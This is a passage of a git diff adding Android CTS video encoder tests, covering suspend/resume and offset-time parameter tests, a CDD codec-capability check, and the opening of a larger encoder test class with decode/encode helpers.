+        // rendered before the request may reach encoder input side after
+        // the request. Here we do a slight wait (100000us) to make sure that
+        // the suspend/resume only takes effect on the next frame.
+        long[] inputPts = {33333, 66667, -100000, 100000, 133333, -100000, 166667};
+        long[] expectedOutputPts = {33333, 66667, 166667};
+        doTest(inputPts, expectedOutputPts, null, () -> {
+            Bundle params = new Bundle();
+            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 1);
+            return params;
+        }, () -> {
+            Bundle params = new Bundle();
+            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 0);
+            return params;
+        });
+    }
+
+    /*
+     * Test PARAMETER_KEY_SUSPEND + PARAMETER_KEY_SUSPEND_TIME.
+     *
+     * Suspend/resume with specified time during capture, and verify that frames during
+     * the suspension period are dropped.
+     */
+    public void testSuspendedResumeWithTime() throws Throwable {
+        // Unlike using PARAMETER_KEY_SUSPEND alone to suspend/resume, requests using
+        // PARAMETER_KEY_SUSPEND + PARAMETER_KEY_SUSPEND_TIME can be scheduled any time
+        // before the frame with the specified time arrives. Queue both requests shortly
+        // after start and test that they take place at the proper frames.
+        long[] inputPts = {-1, 33333, -1, 66667, 100000, 133333, 166667};
+        long[] expectedOutputPts = {33333, 66667, 166667};
+        doTest(inputPts, expectedOutputPts, null, () -> {
+            Bundle params = new Bundle();
+            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 1);
+            params.putLong(MediaCodec.PARAMETER_KEY_SUSPEND_TIME, 100000);
+            return params;
+        }, () -> {
+            Bundle params = new Bundle();
+            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 0);
+            params.putLong(MediaCodec.PARAMETER_KEY_SUSPEND_TIME, 166667);
+            return params;
+        });
+    }
+
+    /*
+     * Test PARAMETER_KEY_OFFSET_TIME.
+     *
+     * Apply PARAMETER_KEY_OFFSET_TIME during capture, and verify that the pts
+     * of frames after the request are adjusted by the offset correctly.
+     */
+    public void testOffsetTime() throws Throwable {
+        long[] inputPts = {33333, 66667, -100000, 100000, 133333};
+        long[] expectedOutputPts = {33333, 66667, 83333, 116666};
+        doTest(inputPts, expectedOutputPts, null, () -> {
+            Bundle params = new Bundle();
+            params.putLong(MediaCodec.PARAMETER_KEY_OFFSET_TIME, -16667);
+            return params;
+        });
+    }
+
+    private void doTest(long[] inputPtsUs, long[] expectedOutputPtsUs,
+            Consumer<MediaFormat> configSetter, Supplier<Bundle>... paramGetter) throws Exception {
+
+        try {
+            if (DEBUG) Log.d(TAG, "started");
+
+            // setup surface encoder format
+            mEncoder = MediaCodec.createEncoderByType(MEDIA_TYPE);
+            MediaFormat codecFormat = MediaFormat.createVideoFormat(
+                    MEDIA_TYPE, 1280, 720);
+            codecFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 0);
+            codecFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    CodecCapabilities.COLOR_FormatSurface);
+            codecFormat.setInteger(MediaFormat.KEY_FRAME_RATE, OUTPUT_FRAME_RATE);
+            codecFormat.setInteger(MediaFormat.KEY_BITRATE_MODE,
+                    MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_VBR);
+            codecFormat.setInteger(MediaFormat.KEY_BIT_RATE, 6000000);
+
+            if (configSetter != null) {
+                configSetter.accept(codecFormat);
+            }
+
+            CountDownLatch latch = new CountDownLatch(1);
+
+            // configure and start encoder
+            long[] actualOutputPtsUs = new long[expectedOutputPtsUs.length];
+            mEncoder.setCallback(new EncoderCallback(latch, actualOutputPtsUs), mHandler);
+            mEncoder.configure(codecFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+
+            mInputEglSurface = new InputSurface(mEncoder.createInputSurface());
+
+            mEncoder.start();
+
+            mInputCount = 0;
+            int paramIndex = 0;
+            // perform input operations
+            for (int i = 0; i < inputPtsUs.length; i++) {
+                if (DEBUG) Log.d(TAG, "drawFrame: " + i + ", pts " + inputPtsUs[i]);
+
+                if (inputPtsUs[i] < 0) {
+                    if (inputPtsUs[i] < -1) {
+                        // larger negative number means that a sleep is required
+                        // before the parameter test.
+                        Thread.sleep(-inputPtsUs[i]/1000);
+                    }
+                    if (paramIndex < paramGetter.length && paramGetter[paramIndex] != null) {
+                        // this means a pause to apply parameter to be tested
+                        mEncoder.setParameters(paramGetter[paramIndex].get());
+                    }
+                    paramIndex++;
+                } else {
+                    drawFrame(1280, 720, inputPtsUs[i]);
+                }
+            }
+
+            // if it worked there is really no reason to take longer..
+            latch.await(1000, TimeUnit.MILLISECONDS);
+
+            // verify output timestamps
+            assertTrue("mismatch in output timestamp",
+                    Arrays.equals(expectedOutputPtsUs, actualOutputPtsUs));
+
+            if (DEBUG) Log.d(TAG, "stopped");
+        } finally {
+            if (mEncoder != null) {
+                mEncoder.stop();
+                mEncoder.release();
+                mEncoder = null;
+            }
+            if (mInputEglSurface != null) {
+                // This also releases the surface from encoder.
+                mInputEglSurface.release();
+                mInputEglSurface = null;
+            }
+        }
+    }
+
+    class EncoderCallback extends MediaCodec.Callback {
+        private boolean mOutputEOS;
+        private int mOutputCount;
+        private final CountDownLatch mLatch;
+        private final long[] mActualOutputPts;
+        private final int mMaxOutput;
+
+        EncoderCallback(CountDownLatch latch, long[] actualOutputPts) {
+            mLatch = latch;
+            mActualOutputPts = actualOutputPts;
+            mMaxOutput = actualOutputPts.length;
+        }
+
+        @Override
+        public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+            if (codec != mEncoder) return;
+            if (DEBUG) Log.d(TAG, "onOutputFormatChanged: " + format);
+        }
+
+        @Override
+        public void onInputBufferAvailable(MediaCodec codec, int index) {
+            if (codec != mEncoder) return;
+            if (DEBUG) Log.d(TAG, "onInputBufferAvailable: " + index);
+        }
+
+        @Override
+        public void onOutputBufferAvailable(MediaCodec codec, int index, BufferInfo info) {
+            if (codec != mEncoder || mOutputEOS) return;
+
+            if (DEBUG) {
+                Log.d(TAG, "onOutputBufferAvailable: " + index
+                        + ", time " + info.presentationTimeUs
+                        + ", size " + info.size
+                        + ", flags " + info.flags);
+            }
+
+            if ((info.size > 0) && ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0)) {
+                mActualOutputPts[mOutputCount++] = info.presentationTimeUs;
+            }
+
+            mOutputEOS |= ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) ||
+                    (mOutputCount == mMaxOutput);
+
+            codec.releaseOutputBuffer(index, false);
+
+            if (mOutputEOS) {
+                stopAndNotify(null);
+            }
+        }
+
+        @Override
+        public void onError(MediaCodec codec, CodecException e) {
+            if (codec != mEncoder) return;
+
+            Log.e(TAG, "onError: " + e);
+            stopAndNotify(e);
+        }
+
+        private void stopAndNotify(CodecException e) {
+            mLatch.countDown();
+        }
+    }
+
+    private void drawFrame(int width, int height, long ptsUs) {
+        mInputEglSurface.makeCurrent();
+        generateSurfaceFrame(mInputCount, width, height);
+        mInputEglSurface.setPresentationTime(1000 * ptsUs);
+        mInputEglSurface.swapBuffers();
+        mInputCount++;
+    }
+
+    private static Rect getColorBarRect(int index, int width, int height) {
+        int barWidth = (width - BORDER_WIDTH * 2) / COLOR_BARS.length;
+        return new Rect(BORDER_WIDTH + barWidth * index, BORDER_WIDTH,
+                BORDER_WIDTH + barWidth * (index + 1), height - BORDER_WIDTH);
+    }
+
+    private static Rect getColorBlockRect(int index, int width, int height) {
+        int blockCenterX = (width / 5) * (index % 4 + 1);
+        return new Rect(blockCenterX - width / 10, height / 6,
+                        blockCenterX + width / 10, height / 3);
+    }
+
+    private void generateSurfaceFrame(int frameIndex, int width, int height) {
+        GLES20.glViewport(0, 0, width, height);
+        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glClearColor(1.0f, 0.0f, 0.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+
+        for (int i = 0; i < COLOR_BARS.length; i++) {
+            Rect r = getColorBarRect(i, width, height);
+
+            GLES20.glScissor(r.left, r.top, r.width(), r.height());
+            final Color color = COLOR_BARS[i];
+            GLES20.glClearColor(color.red(), color.green(), color.blue(), 1.0f);
+            GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        }
+
+        Rect r = getColorBlockRect(frameIndex, width, height);
+        GLES20.glScissor(r.left, r.top, r.width(), r.height());
+        GLES20.glClearColor(0.5f, 0.5f, 0.5f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        r.inset(BORDER_WIDTH, BORDER_WIDTH);
+        GLES20.glScissor(r.left, r.top, r.width(), r.height());
+        GLES20.glClearColor(COLOR_BLOCK.red(), COLOR_BLOCK.green(), COLOR_BLOCK.blue(), 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+    }
+}
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderCapabilitiesTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderCapabilitiesTest.java
new file mode 100644
index 0000000..b702e4a
--- /dev/null
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderCapabilitiesTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.encoder.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.platform.test.annotations.AppModeFull;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(Parameterized.class)
+public class VideoEncoderCapabilitiesTest {
+    final private String mMediaType;
+    final private int mWidth;
+    final private int mHeight;
+    final private int mFrameRate;
+    final private int mBitRate;
+    final private boolean mOptional;
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}x{2}_{3}_{4}_{5})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                // MediaType, width, height, frame-rate, bit-rate, optional
+                // CDD 5.2.2 C-1-2, C-2-1
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 320, 240, 20, 384000, false},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 720, 480, 30, 2000000, false},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 30, 4000000, true},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080, 30, 10000000, true},
+
+                // CDD 5.2.3 C-1-1, C-2-1
+                {MediaFormat.MIMETYPE_VIDEO_VP8, 320, 180, 30, 800000, false},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, 640, 360, 30, 2000000, false},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, 1280, 720, 30, 4000000, true},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, 1920, 1080, 30, 10000000, true},
+
+                // CDD 5.2.4
+                {MediaFormat.MIMETYPE_VIDEO_VP9, 720, 480, 30, 1600000, true},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, 1280, 720, 30, 4000000, true},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, 1920, 1080, 30, 5000000, true},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, 3840, 2160, 30, 20000000, true},
+
+                // CDD 5.2.5
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 720, 480, 30, 1600000, true},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 1280, 720, 30, 4000000, true},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 1920, 1080, 30, 5000000, true},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 3840, 2160, 30, 20000000, true},
+
+        });
+        return exhaustiveArgsList;
+    }
+
+    public VideoEncoderCapabilitiesTest(String mediaType, int width, int height, int frameRate,
+                                        int bitRate, boolean optional) {
+        mMediaType = mediaType;
+        mWidth = width;
+        mHeight = height;
+        mFrameRate = frameRate;
+        mBitRate = bitRate;
+        mOptional = optional;
+    }
+
+    // Tests encoder profiles required by CDD.
+    @Test
+    public void testEncoderAvailability() {
+        MediaFormat format = MediaFormat.createVideoFormat(mMediaType, mWidth, mHeight);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+        if (mOptional) {
+            assumeTrue("Device doesn't support encoding an optional format: " + format,
+                    MediaUtils.canEncode(format));
+        } else {
+            assertTrue("Device doesn't support encoding a mandatory format: " + format,
+                    MediaUtils.canEncode(format));
+        }
+    }
+}
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
new file mode 100644
index 0000000..4afc7aa
--- /dev/null
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
@@ -0,0 +1,1447 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.encoder.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.ImageFormat;
+import android.graphics.SurfaceTexture;
+import android.media.Image;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.media.cts.CodecUtils;
+import android.media.cts.InputSurface;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.MediaTestBase;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.OutputSurface;
+import android.media.cts.Preconditions;
+import android.media.cts.TestArgs;
+import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.util.Pair;
+import android.util.Range;
+import android.util.Size;
+import android.view.Surface;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.lang.Throwable;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
+import java.util.function.Function;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(Parameterized.class)
+public class VideoEncoderTest extends MediaTestBase {
+    private static final int MAX_SAMPLE_SIZE = 256 * 1024;
+    private static final String TAG = "VideoEncoderTest";
+    private static final long FRAME_TIMEOUT_MS = 1000;
+    // use larger delay before we get first frame, some encoders may need more time
+    private static final long INIT_TIMEOUT_MS = 2000;
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    private static final String SOURCE_URL =
+            mInpPrefix + "video_480x360_mp4_h264_871kbps_30fps.mp4";
+
+    private final Encoder mEncHandle;
+    private final int mWidth;
+    private final int mHeight;
+    private final boolean mFlexYuv;
+    private final TestMode mMode;
+    private final boolean DEBUG = false;
+
+    enum TestMode {
+        TEST_MODE_SPECIFIC, // test basic encoding for given configuration
+        TEST_MODE_DETAILED, // test detailed encoding for given configuration
+        TEST_MODE_INTRAREFRESH // test intra refresh
+    }
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+    }
+
+
+    class VideoStorage {
+        private LinkedList<Pair<ByteBuffer, BufferInfo>> mStream;
+        private MediaFormat mFormat;
+        private int mInputBufferSize;
+        // Media buffers(no CSD, no EOS) enqueued.
+        private int mMediaBuffersEnqueuedCount;
+        // Media buffers decoded.
+        private int mMediaBuffersDecodedCount;
+        private final AtomicReference<String> errorMsg = new AtomicReference(null);
+
+        public VideoStorage() {
+            mStream = new LinkedList<Pair<ByteBuffer, BufferInfo>>();
+        }
+
+        public void setFormat(MediaFormat format) {
+            mFormat = format;
+        }
+
+        public void addBuffer(ByteBuffer buffer, BufferInfo info) {
+            ByteBuffer savedBuffer = ByteBuffer.allocate(info.size);
+            savedBuffer.put(buffer);
+            if (info.size > mInputBufferSize) {
+                mInputBufferSize = info.size;
+            }
+            BufferInfo savedInfo = new BufferInfo();
+            savedInfo.set(0, savedBuffer.position(), info.presentationTimeUs, info.flags);
+            mStream.addLast(Pair.create(savedBuffer, savedInfo));
+            if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+                ++mMediaBuffersEnqueuedCount;
+            }
+        }
+
+        private void play(MediaCodec decoder, Surface surface) {
+            decoder.reset();
+            final Object condition = new Object();
+            final Iterator<Pair<ByteBuffer, BufferInfo>> it = mStream.iterator();
+            decoder.setCallback(new MediaCodec.Callback() {
+                public void onOutputBufferAvailable(MediaCodec codec, int ix, BufferInfo info) {
+                    if (info.size > 0) {
+                        ++mMediaBuffersDecodedCount;
+                    }
+                    codec.releaseOutputBuffer(ix, info.size > 0);
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        synchronized (condition) {
+                            condition.notifyAll();
+                        }
+                    }
+                }
+                public void onInputBufferAvailable(MediaCodec codec, int ix) {
+                    if (it.hasNext()) {
+                        try {
+                            Pair<ByteBuffer, BufferInfo> el = it.next();
+                            el.first.clear();
+                            try {
+                                codec.getInputBuffer(ix).put(el.first);
+                            } catch (java.nio.BufferOverflowException e) {
+                                String diagnostic = "cannot fit " + el.first.limit()
+                                        + "-byte encoded buffer into "
+                                        + codec.getInputBuffer(ix).remaining()
+                                        + "-byte input buffer of " + codec.getName()
+                                        + " configured for " + codec.getInputFormat();
+                                Log.e(TAG, diagnostic);
+                                errorMsg.set(diagnostic + e);
+                                synchronized (condition) {
+                                    condition.notifyAll();
+                                }
+                                // no sense trying to enqueue the failed buffer
+                                return;
+                            }
+                            BufferInfo info = el.second;
+                                codec.queueInputBuffer(
+                                    ix, 0, info.size, info.presentationTimeUs, info.flags);
+                        } catch (Throwable t) {
+                          errorMsg.set("exception in onInputBufferAvailable( "
+                                       +  codec.getName() + "," + ix
+                                       + "): " + t);
+                          synchronized (condition) {
+                              condition.notifyAll();
+                          }
+                        }
+                    }
+                }
+                public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+                    Log.i(TAG, "got codec exception", e);
+                    errorMsg.set("received codec error during decode" + e);
+                    synchronized (condition) {
+                        condition.notifyAll();
+                    }
+                }
+                public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+                    Log.i(TAG, "got output format " + format);
+                }
+            });
+            mFormat.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, mInputBufferSize);
+            decoder.configure(mFormat, surface, null /* crypto */, 0 /* flags */);
+            decoder.start();
+            synchronized (condition) {
+                try {
+                    condition.wait();
+                } catch (InterruptedException e) {
+                    fail("playback interrupted");
+                }
+            }
+            decoder.stop();
+            assertNull(errorMsg.get(), errorMsg.get());
+            // All enqueued media data buffers should have got decoded.
+            if (mMediaBuffersEnqueuedCount != mMediaBuffersDecodedCount) {
+                Log.i(TAG, "mMediaBuffersEnqueuedCount:" + mMediaBuffersEnqueuedCount);
+                Log.i(TAG, "mMediaBuffersDecodedCount:" + mMediaBuffersDecodedCount);
+                fail("not all enqueued encoded media buffers were decoded");
+            }
+            mMediaBuffersDecodedCount = 0;
+        }
+
+        public boolean playAll(Surface surface) {
+            boolean skipped = true;
+            if (mFormat == null) {
+                Log.i(TAG, "no stream to play");
+                return !skipped;
+            }
+            String mime = mFormat.getString(MediaFormat.KEY_MIME);
+            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            for (MediaCodecInfo info : mcl.getCodecInfos()) {
+                if (info.isEncoder() || info.isAlias()) {
+                    continue;
+                }
+                MediaCodec codec = null;
+                try {
+                    CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                    if (!caps.isFormatSupported(mFormat)) {
+                        continue;
+                    }
+                    codec = MediaCodec.createByCodecName(info.getName());
+                } catch (IllegalArgumentException | IOException e) {
+                    continue;
+                }
+                play(codec, surface);
+                codec.release();
+                skipped = false;
+            }
+            return !skipped;
+        }
+    }
+
+    abstract class VideoProcessorBase extends MediaCodec.Callback {
+        private static final String TAG = "VideoProcessorBase";
+
+        /*
+         * Set this to true to save the encoding results to /data/local/tmp
+         * You will need to make /data/local/tmp writeable, run "setenforce 0",
+         * and remove files left from a previous run.
+         */
+        private boolean mSaveResults = false;
+        private static final String FILE_DIR = "/data/local/tmp";
+        protected int mMuxIndex = -1;
+
+        protected String mProcessorName = "VideoProcessor";
+        private MediaExtractor mExtractor;
+        protected MediaMuxer mMuxer;
+        private ByteBuffer mBuffer = ByteBuffer.allocate(MAX_SAMPLE_SIZE);
+        protected int mTrackIndex = -1;
+        private boolean mSignaledDecoderEOS;
+
+        protected boolean mCompleted;
+        protected boolean mEncoderIsActive;
+        protected boolean mEncodeOutputFormatUpdated;
+        protected final Object mCondition = new Object();
+        protected final Object mCodecLock = new Object();
+
+        protected MediaFormat mDecFormat;
+        protected MediaCodec mDecoder, mEncoder;
+
+        private VideoStorage mEncodedStream;
+        protected int mFrameRate = 0;
+        protected int mBitRate = 0;
+
+        protected Function<MediaFormat, Boolean> mUpdateConfigFormatHook;
+        protected Function<MediaFormat, Boolean> mCheckOutputFormatHook;
+
+        public void setProcessorName(String name) {
+            mProcessorName = name;
+        }
+
+        public void setUpdateConfigHook(Function<MediaFormat, Boolean> hook) {
+            mUpdateConfigFormatHook = hook;
+        }
+
+        public void setCheckOutputFormatHook(Function<MediaFormat, Boolean> hook) {
+            mCheckOutputFormatHook = hook;
+        }
+
+        protected void open(String path) throws IOException {
+            mExtractor = new MediaExtractor();
+            if (path.startsWith("android.resource://")) {
+                mExtractor.setDataSource(mContext, Uri.parse(path), null);
+            } else {
+                mExtractor.setDataSource(path);
+            }
+
+            for (int i = 0; i < mExtractor.getTrackCount(); i++) {
+                MediaFormat fmt = mExtractor.getTrackFormat(i);
+                String mime = fmt.getString(MediaFormat.KEY_MIME).toLowerCase();
+                if (mime.startsWith("video/")) {
+                    mTrackIndex = i;
+                    mDecFormat = fmt;
+                    mExtractor.selectTrack(i);
+                    break;
+                }
+            }
+            mEncodedStream = new VideoStorage();
+            assertTrue("file " + path + " has no video", mTrackIndex >= 0);
+        }
+
+        // returns true if encoder supports the size
+        protected boolean initCodecsAndConfigureEncoder(
+                String videoEncName, String outMime, int width, int height,
+                int colorFormat) throws IOException {
+            mDecFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
+
+            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            String videoDecName = mcl.findDecoderForFormat(mDecFormat);
+            Log.i(TAG, "decoder for " + mDecFormat + " is " + videoDecName);
+            mDecoder = MediaCodec.createByCodecName(videoDecName);
+            mEncoder = MediaCodec.createByCodecName(videoEncName);
+
+            mDecoder.setCallback(this);
+            mEncoder.setCallback(this);
+
+            VideoCapabilities encCaps =
+                mEncoder.getCodecInfo().getCapabilitiesForType(outMime).getVideoCapabilities();
+            if (!encCaps.isSizeSupported(width, height)) {
+                Log.i(TAG, videoEncName + " does not support size: " + width + "x" + height);
+                return false;
+            }
+
+            MediaFormat outFmt = MediaFormat.createVideoFormat(outMime, width, height);
+            int bitRate = 0;
+            MediaUtils.setMaxEncoderFrameAndBitrates(encCaps, outFmt, 30);
+            if (mFrameRate > 0) {
+                outFmt.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+            }
+            if (mBitRate > 0) {
+                outFmt.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
+            }
+            outFmt.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 1);
+            outFmt.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
+            // Some extra configure before starting the encoder.
+            if (mUpdateConfigFormatHook != null) {
+                if (!mUpdateConfigFormatHook.apply(outFmt)) {
+                    return false;
+                }
+            }
+            mEncoder.configure(outFmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            Log.i(TAG, "encoder input format " + mEncoder.getInputFormat() + " from " + outFmt);
+            if (mSaveResults) {
+                try {
+                    String outFileName =
+                            FILE_DIR + mProcessorName + "_" + bitRate + "bps";
+                    if (outMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
+                            outMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+                        mMuxer = new MediaMuxer(
+                                outFileName + ".webm", MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
+                    } else {
+                        mMuxer = new MediaMuxer(
+                                outFileName + ".mp4", MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+                    }
+                    // The track can't be added until we have the codec specific data
+                } catch (Exception e) {
+                    Log.i(TAG, "couldn't create muxer: " + e);
+                }
+            }
+            return true;
+        }
+
+        protected void close() {
+            synchronized (mCodecLock) {
+                if (mDecoder != null) {
+                    mDecoder.release();
+                    mDecoder = null;
+                }
+                if (mEncoder != null) {
+                    mEncoder.release();
+                    mEncoder = null;
+                }
+            }
+            if (mExtractor != null) {
+                mExtractor.release();
+                mExtractor = null;
+            }
+            if (mMuxer != null) {
+                mMuxer.stop();
+                mMuxer.release();
+                mMuxer = null;
+            }
+        }
+
+        // returns true if filled buffer
+        protected boolean fillDecoderInputBuffer(int ix) {
+            if (DEBUG) Log.v(TAG, "decoder received input #" + ix);
+            while (!mSignaledDecoderEOS) {
+                int track = mExtractor.getSampleTrackIndex();
+                if (track >= 0 && track != mTrackIndex) {
+                    mExtractor.advance();
+                    continue;
+                }
+                int size = mExtractor.readSampleData(mBuffer, 0);
+                if (size < 0) {
+                    // queue decoder input EOS
+                    if (DEBUG) Log.v(TAG, "queuing decoder EOS");
+                    mDecoder.queueInputBuffer(
+                            ix, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                    mSignaledDecoderEOS = true;
+                } else {
+                    mBuffer.limit(size);
+                    mBuffer.position(0);
+                    BufferInfo info = new BufferInfo();
+                    info.set(
+                            0, mBuffer.limit(), mExtractor.getSampleTime(),
+                            mExtractor.getSampleFlags());
+                    mDecoder.getInputBuffer(ix).put(mBuffer);
+                    if (DEBUG) Log.v(TAG, "queing input #" + ix + " for decoder with timestamp "
+                            + info.presentationTimeUs);
+                    mDecoder.queueInputBuffer(
+                            ix, 0, mBuffer.limit(), info.presentationTimeUs, 0);
+                }
+                mExtractor.advance();
+                return true;
+            }
+            return false;
+        }
+
+        protected void emptyEncoderOutputBuffer(int ix, BufferInfo info) {
+            if (DEBUG) Log.v(TAG, "encoder received output #" + ix
+                     + " (sz=" + info.size + ", f=" + info.flags
+                     + ", ts=" + info.presentationTimeUs + ")");
+            ByteBuffer outputBuffer = mEncoder.getOutputBuffer(ix);
+            mEncodedStream.addBuffer(outputBuffer, info);
+
+            if (mMuxer != null) {
+                // reset position as addBuffer() modifies it
+                outputBuffer.position(info.offset);
+                outputBuffer.limit(info.offset + info.size);
+                mMuxer.writeSampleData(mMuxIndex, outputBuffer, info);
+            }
+
+            if (!mCompleted) {
+                mEncoder.releaseOutputBuffer(ix, false);
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "encoder received output EOS");
+                    synchronized(mCondition) {
+                        mCompleted = true;
+                        mCondition.notifyAll(); // condition is always satisfied
+                    }
+                } else {
+                    synchronized(mCondition) {
+                        mEncoderIsActive = true;
+                    }
+                }
+            }
+        }
+
+        protected void saveEncoderFormat(MediaFormat format) {
+            mEncodedStream.setFormat(format);
+            if (mCheckOutputFormatHook != null) {
+                mCheckOutputFormatHook.apply(format);
+            }
+            if (mMuxer != null) {
+                if (mMuxIndex < 0) {
